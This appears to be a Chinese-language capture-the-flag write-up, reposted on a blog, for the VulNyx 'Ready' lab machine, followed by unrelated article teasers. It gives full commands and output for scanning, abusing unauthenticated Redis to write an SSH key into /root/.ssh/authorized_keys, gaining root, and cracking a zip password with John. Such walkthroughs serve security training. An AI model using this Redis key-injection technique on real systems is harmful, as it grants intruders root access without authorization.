VulNyx - Ready

目录

信息收集

arp

nmap

nikto

Redis未授权访问漏洞

漏洞扫描

redis-cli

写入公钥

ssh连接

get root.txt


信息收集

arp
┌─[root@parrot]─[~/vulnyx]
└──╼ #arp-scan -l
Interface: enp0s3, type: EN10MB, MAC: 08:00:27:16:3d:f8, IPv4: 192.168.9.102
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.9.103  08:00:27:6a:76:52  PCS Systemtechnik GmbH9 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.980 seconds (129.29 hosts/sec). 9 responded

nmap
端口扫描┌─[✗]─[root@parrot]─[~/vulnyx]
└──╼ #nmap -p- 192.168.9.103 --min-rate 10000 -oA port
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-12 12:23 GMT
Nmap scan report for 192.168.9.103
Host is up (0.00031s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
6379/tcp open  redis
8080/tcp open  http-proxy
MAC Address: 08:00:27:6A:76:52 (Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 2.55 seco┌─[root@parrot]─[~/vulnyx]
└──╼ #cat port.nmap | head -n 9 | tail -n 4 | awk -F "/" '{print($1)}' | xargs -n 4 | sed 's/ /,/g'
22,80,6379,8080
服务版本信息扫描┌─[root@parrot]─[~/vulnyx]
└──╼ #nmap -sC -sV  -O -p 22,80,6379,8080 192.168.9.103 --min-rate 10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-12 12:25 GMT
Nmap scan report for 192.168.9.103
Host is up (0.00061s latency).PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 51:f9:f5:59:cd:45:4e:d1:2c:06:41:3b:a6:7a:91:19 (RSA)
|   256 5c:9f:60:b7:c5:50:fc:01:fa:37:7c:dc:16:54:87:3b (ECDSA)
|_  256 04:da:68:25:69:d6:2a:25:e2:5b:e2:99:36:36:d7:48 (ED25519)
80/tcp   open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: Apache2 Test Debian Default Page: It works
|_http-server-header: Apache/2.4.54 (Debian)
6379/tcp open  redis   Redis key-value store 6.0.16
8080/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache2 Test Debian Default Page: It works
MAC Address: 08:00:27:6A:76:52 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.38 seco

  靶机一共开放了4个端口22、80、8080还开放了6379 redis数据库的端口!这个6379端口应该就是突破口!
nikto
┌─[root@parrot]─[~/vulnyx]
└──╼ #nikto -h http://192.168.9.103
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.9.103
+ Target Hostname:    192.168.9.103
+ Target Port:        80
+ Start Time:         2024-04-12 12:30:36 (GMT0)
---------------------------------------------------------------------------
+ Server: Apache/2.4.54 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 29d1, size: 5e428196dbffb, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2024-04-12 12:30:55 (GMT0) (19 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tes┌─[root@parrot]─[~/vulnyx]
└──╼ #nikto -h http://192.168.9.103:8080
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.9.103
+ Target Hostname:    192.168.9.103
+ Target Port:        8080
+ Start Time:         2024-04-12 12:28:33 (GMT0)
---------------------------------------------------------------------------
+ Server: Apache/2.4.54 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 29d1, size: 5e4281ef033d9, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2024-04-12 12:28:54 (GMT0) (21 seconds)
---------------------------------------------------------------------------
+ 1 host(s) teste

Redis未授权访问漏洞

靶机的主页没啥好看的,6379是突破口!

漏洞扫描
┌─[✗]─[root@parrot]─[~/vulnyx]
└──╼ #nmap --script redis-info -sV -p 6379 192.168.9.103 --min-rate 10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-12 12:38 GMT
Nmap scan report for 192.168.9.103
Host is up (0.00045s latency).PORT     STATE SERVICE VERSION
6379/tcp open  redis   Redis key-value store 6.0.16 (64 bits)
| redis-info: 
|   Version: 6.0.16
|   Operating System: Linux 5.10.0-16-amd64 x86_64
|   Architecture: 64 bits
|   Process ID: 357
|   Used CPU (sys): 1.325301
|   Used CPU (user): 0.000000
|   Connected clients: 2
|   Connected slaves: 0
|   Used memory: 873.01K
|   Role: master
|   Bind addresses: 
|     0.0.0.0
|   Client connections: 
|_    192.168.9.102
MAC Address: 08:00:27:6A:76:52 (Oracle VirtualBox virtual NIC)Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.30 seconds
redis版本是  6.0.16

redis连接可以用 nc 也可以用 redis-cli

redis-cli
┌─[root@parrot]─[~/vulnyx]
└──╼ #redis-cli -h 192.168.9.103
192.168.9.103:6379> help
redis-cli 7.0.15
To get help about Redis commands type:"help @<group>" to get a list of commands in <group>"help <command>" for help on <command>"help <tab>" to get a list of possible help topics"quit" to exitTo set redis-cli preferences:":set hints" enable online hints":set nohints" disable online hints
Set your preferences in ~/.redisclirc
192.168.9.103:6379> 

使用info发现返回一些地址以及服务信息!说明不需要认证我们就可以利用redis!

写入公钥
┌─[root@parrot]─[~/vulnyx]
└──╼ #(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > spaced_key.txt┌─[root@parrot]─[~/vulnyx]
└──╼ #cat spaced_key.txt ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDhOk4J/nc9g0wiCh6VSN1qXugxxw6pmTOaalM4+hNw+bDP68MTT3Ib0rIfFw7VG2Jb83M09hLJ81vQNOG4f5hZDRE/Rk9UklRSf5YMim7AToRMki7nKAGGcBSGdl0zu6zNMFfhXsBIHGz/4WRWOZeDFgypZg7UfG//BBA+xKQnKMiCeiSeDvfrSxhcHptr2GbZ0XMnxb2uVtFkWRL8skdKXsglhNe7q156yG4gihf/bPnGzW5//BS61ESD2UpwAxezQadRNW68ravIfp2NoV+sg/3Q4Ruj75Dn7H5cPfewHNaBalHdYF1ToBjIyEzcH6rqFJPWUo1YtXMac+UOixMYGusc1xjT38jk5fAHYYVI/Uv4S43I2aXQTl+Rb10Y9nbeHkIRFC8+Wyk8+UWGtsgvxTTdPsFdT3eOq+7pZcx8K6M+OAB+G94m9YKXC67VS4HiYjbRu/bhAwNh16nGRokcWgVj2Zi/NR6NGOflhHN95Rk+nQRlUJsRX+wFS05E2A0= root@parrot
将自己的公钥写入到一个文件中!

┌─[root@parrot]─[~/vulnyx]
└──╼ #cat spaced_key.txt | redis-cli -h 192.168.9.103 -x set ssh_key
OK192.168.9.103:6379> KEYS *
1) "ssh_key"写入成功!虽然写入成功了,但是我们还需要把公钥写入到靶机存放公钥地址的地方!

192.168.9.103:6379> config set dir /root/.ssh
OK
192.168.9.103:6379> config set dbfilename "authorized_keys"
OK
192.168.9.103:6379> save
OK
(0.51s)
我尝试直接写入到root/.ssh目录下,发现成功了!说明这个redis是以root方式运行的!

ssh连接
因为写入的是我的公钥,所以我们直接连接即可!┌─[✗]─[root@parrot]─[~/vulnyx]
└──╼ #ssh root@192.168.9.104
The authenticity of host '192.168.9.104 (192.168.9.104)' can't be established.
ED25519 key fingerprint is SHA256:7e6nZsLIg3VH7MUpoakFpn75ysrvjz0K0YGrMGHcpLY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.9.104' (ED25519) to the list of known hosts.
Linux ready 5.10.0-16-amd64 #1 SMP Debian 5.10.127-1 (2022-06-30) x86_64
Last login: Wed Jul 12 18:22:32 2023
root@ready:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ready:~# ls
root.zip
root@ready:~# 7z
-bash: 7z: orden no encontrada
root@ready:~# unzip
-bash: unzip: orden no encontrada
root@ready:~# python3 -m http.server 9900
Serving HTTP on 0.0.0.0 port 9900 (http://0.0.0.0:9900/) ...
192.168.9.102 - - [13/Apr/2024 03:02:18] "GET /root.zip HTTP/1.1" 200 -
┌─[✗]─[root@parrot]─[~/vulnyx]
└──╼ #wget http://192.168.9.104:9900/root.zip
--2024-04-13 01:02:18--  http://192.168.9.104:9900/root.zip
正在连接 192.168.9.104:9900... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:225 [application/zip]
正在保存至: “root.zip”root.zip                      100%[=================================================>]     225  --.-KB/s  用时 0s      2024-04-13 01:02:18 (35.3 MB/s) - 已保存 “root.zip” [225/225])
┌─[root@parrot]─[~/vulnyx]
└──╼ #unzip -l root.zip 
Archive:  root.zipLength      Date    Time    Name
---------  ---------- -----   ----32  2023-04-18 16:14   root.txt
---------                     -------32                     1 file┌─[root@parrot]─[~/vulnyx]
└──╼ #unzip root.zip 
[root.zip] root.txt password: 
好家伙,需要密码啊!我们破解一下吧!

get root.txt
┌─[root@parrot]─[~/vulnyx]
└──╼ #zip2john root.zip >> root.list
ver 2.0 efh 5455 efh 7875 root.zip/root.txt PKZIP Encr: TS_chk, cmplen=43, decmplen=32, crc=68F3F801 ts=91CA cs=91ca type=8
┌─[✗]─[root@parrot]─[~/vulnyx]
└──╼ #john root.list /usr/share/wordlists/rockyou.txt0g 0:00:00:49  3/3 0g/s 38926Kp/s 38926Kc/s 38926KC/s sm1k2gr..snonb3y
0g 0:00:00:50  3/3 0g/s 38959Kp/s 38959Kc/s 38959KC/s rj4pfm5..rjta27t
already          (root.zip/root.txt)     
1g 0:00:00:51 DONE 3/3 (2024-04-13 01:12) 0.01960g/s 39021Kp/s 39021Kc/s 39021KC/s alremoa..alr160k
Use the "--show" option to display all of the cracked passwords reliably
Session complet
密码 already

┌─[root@parrot]─[~/vulnyx]
└──╼ #unzip root.zip 
Archive:  root.zip
[root.zip] root.txt password: inflating: root.txt        ┌─[root@parrot]─[~/vulnyx]
└──╼ #cat root.txt 
cf537b04dd79e859816334b89e85c435

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/814545.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ZFT9 7VE8033同期脉冲发送装置 JSOEF约瑟

系列型号 ZFT9(PIG) 7VE8033同期脉冲发送装置; ZFT9(PIG) 7VE8043同期脉冲发送装置; ZFT9 7VE8033同期脉冲发送装置; ZFT9 7VE8043同期脉冲发送装置; 用途&#xff1a; ZFT9(PIG)同期脉冲发送装置用于船舶的三相系统&#xff0c;根据发电机和电力系统之间电压差、相位差、频率…

SAP SD学习笔记05 - SD中的一括处理(集中处理),出荷和请求的冻结(替代实现承认功能)

上一章讲了SD的重要概念&#xff0c;比如出荷Plant&#xff08;交货工厂&#xff09;&#xff0c;出荷Point&#xff08;装运点&#xff09;&#xff0c;输送计划&#xff0c;品目的可用性检查&#xff0c;一括纳入/分割纳入&#xff0c;仓库管理等。 SAP SD学习笔记04 - 出荷…

凡泰极客亮相2024 亚马逊云科技出海全球化论坛,为企业数字化出海赋能

随着「不出海&#xff0c;即出局」登上热搜榜单&#xff0c;企业出海已成燎原之势&#xff0c;3月29日&#xff0c;2024 亚马逊云科技出海全球化论坛在深圳成功举办&#xff0c;凡泰极客创始人梁启鸿受邀出席&#xff0c;并以 「App 2.0&#xff1a;以SuperApp构建智能数字生态…

K8s下部署grafana

1. 系统要求 最小化的软硬件要求 最小化硬件要求 磁盘空间: 1 GB内存: 750 MiB (approx 750 MB)CPU: 250m (approx 2.5 cores) 2. k8s部署grafana步骤 1) 创建名字空间 kubectl create namespace my-grafana 2) 创建yaml vim grafana.yaml yaml包含如下三个资源对象 Ob…

【七 (4)FineBI FCP模拟试卷-电站数据分析】

目录 文章导航一、字段解释1、电站基础信息表2、电站事实表 二、需求三、操作步骤1、将新增一列日期12、以左关联的形式增加装机容量3、年度发电总量4、年度售电完成率4、发电量及发电效率5、年售电完成比、售电回款比、管理费用比、运维费用比5、总装机容量6、最近日期7、最近…

Java基础-知识点03(面试|学习)

Java基础-知识点03 String类String类的作用及特性String不可以改变的原因及好处String、StringBuilder、StringBuffer的区别String中的replace和replaceAll的区别字符串拼接使用还是使用StringbuilderString中的equal()与Object方法中equals()区别String a new String("a…

使用 Docker 部署 Open-Resume 在线简历平台

1&#xff09;Open-Resume 介绍 GitHub&#xff1a; https://github.com/xitanggg/open-resume Open-Resume 是一款功能强大的开源 简历生成器 和 简历解析器 。可以帮助我们快速的生成个人简历&#xff0c;并定制化不同的主题和布局风格。该项目的目标是为每个人提供免费的现…

java数据结构与算法刷题-----LeetCode1009. 十进制整数的反码

java数据结构与算法刷题目录&#xff08;剑指Offer、LeetCode、ACM&#xff09;-----主目录-----持续更新(进不去说明我没写完)&#xff1a;https://blog.csdn.net/grd_java/article/details/123063846 文章目录 476题相同解法 476题相同解法 解题思路&#xff1a; 因为此题和…

【I/O】基于事件驱动的 I/O 模型---Reactor

Reactor 模型 BIO 到 I/O 多路复用 为每个连接都创建一个线程 假设我们现在有一个服务器&#xff0c;想要对接多个客户端&#xff0c;那么最简单的方法就是服务端为每个连接都创建一个线程&#xff0c;处理完业务逻辑后&#xff0c;随着连接关闭线程也要销毁&#xff0c;但是…

每日一题---移除元素

文章目录 1.题目名称2.题目思路2.1.思路1:2.2.思路2&#xff1a; 3.参考代码 每日一题—移除元素 1.题目名称 2.题目思路 2.1.思路1: 创建一个新的数组&#xff0c;将值不为val的放到新的数组&#xff0c;然后在返回新的数组的大小&#xff0c;但是题目专门说啦&#xff0c;这…

Big Data and Cognitive Computing (IF=3.7) 期刊投稿

Special Issue: Artificial Cognitive Systems for Computer Vision 欢迎计算机视觉相关工作的投稿&#xff01; 影响因子3.7&#xff0c;截止时间2024年12月31日 投稿咨询&#xff1a;lqyan18fudan.edu.cn 投稿网址&#xff1a;https://www.mdpi.com/journal/BDCC/special_iss…

Nature Machine Intelligence 纽约大学团队提出基于深度学习和语音生成技术的脑电-语音解码

由于神经系统的缺陷导致的失语会导致严重的生活障碍&#xff0c;它可能会限制人们的职业和社交生活。近年来&#xff0c;深度学习和脑机接口&#xff08;BCI&#xff09;技术的飞速发展为开发能够帮助失语者沟通的神经语音假肢提供了可行性。开发神经-语音解码器的尝试大多数依…

CSS之固定定位、相对定位、绝对定位

一、相对定位 相对元素自身所在的原来的位置进行定位&#xff0c;可以设置 left&#xff0c;right&#xff0c;top&#xff0c;bottom四个属性。 效果&#xff1a;在进行相对定位以后&#xff0c;元素原来所在的位置被保留了&#xff0c;既保留占位&#xff0c;其他元素的位置…

CSS核心样式-02-盒模型属性及扩展应用

目录 三、盒模型属性 常见盒模型区域 盒模型图 盒模型五大属性 1. 宽度 width 2. 高度 height 3. 内边距 padding 四值法 三值法 二值法 单值法 案例 4. 边框 border 按照属性值的类型划分为三个单一属性 ①线宽 border-width ②线型 border-style ③边框颜色 bo…

Python数据分析案例40——电商直播间成交金额预测

承接上一篇案例电商直播间提取的特征&#xff0c;进而做一篇机器学习的案例&#xff0c;来预测直播间的成交金额。 Python数据分析案例39——电商直播间评论可视化分析&#xff08;LDA&#xff09; 1. 引言 1.1 直播电商与传统电商的比较 直播电商作为一种新兴的电子商务模式…

超详细的YOLOv8项目组成解析:一站式指南了解其架构与组件

目录 yolov8导航 YOLOv8&#xff08;附带各种任务详细说明链接&#xff09; 项目结构 1. .github 2. docker 2.1 docker/Dockerfile 2.2 docker/Dockerfile-arm64 2.3 docker/Dockerfile-conda 2.4 docker/Dockerfile-cpu 2.5 docker/Dockerfile-jetson 2.6 docker/D…

Java | Leetcode Java题解之第27题移除元素

题目&#xff1a; 题解&#xff1a; class Solution {public int removeElement(int[] nums, int val) {int left 0;int right nums.length;while (left < right) {if (nums[left] val) {nums[left] nums[right - 1];right--;} else {left;}}return left;} }

MySQL之索引失效、覆盖、前缀索引及单列、联合索引详细总结

索引失效 最左前缀法则 如果索引了多列(联合索引)&#xff0c;要遵守最左前缀法则&#xff0c;最左前缀法则指的是查询从索引的最左列开始&#xff0c;并且不跳过索引中的列。如果跳跃某一列&#xff0c;索引将部分失效&#xff08;后面的字段索引失效&#xff09;。 联合索…

《古琴律学入门指南》——探寻古琴之美

《古琴律学入门指南》——探寻古琴之美感悟音律奥妙&#xff01;古琴 一抹古老的音韵 一段悠久的历史《古琴律学入门指南》是一本全面介绍中国传统古琴律学的教材涵盖了三分损益 古琴入门 古琴根基等重要内容本书由古琴专家倾情撰写深入浅出地解释了古琴律学的精髓通过丰富的例…

我是如何快速上线项目文档的

Hello , 我是"小恒不会java" 本文适合有使用Markdown&#xff0c;HTML&#xff0c;nginx经验的读者阅读 其中每一个小标题代表作者的突破点&#xff0c;每个技巧都是小tip 说说我的上线流程 使用mkdocs生成模板写入写好的Markdown文件mkdocs build生成静态文件&…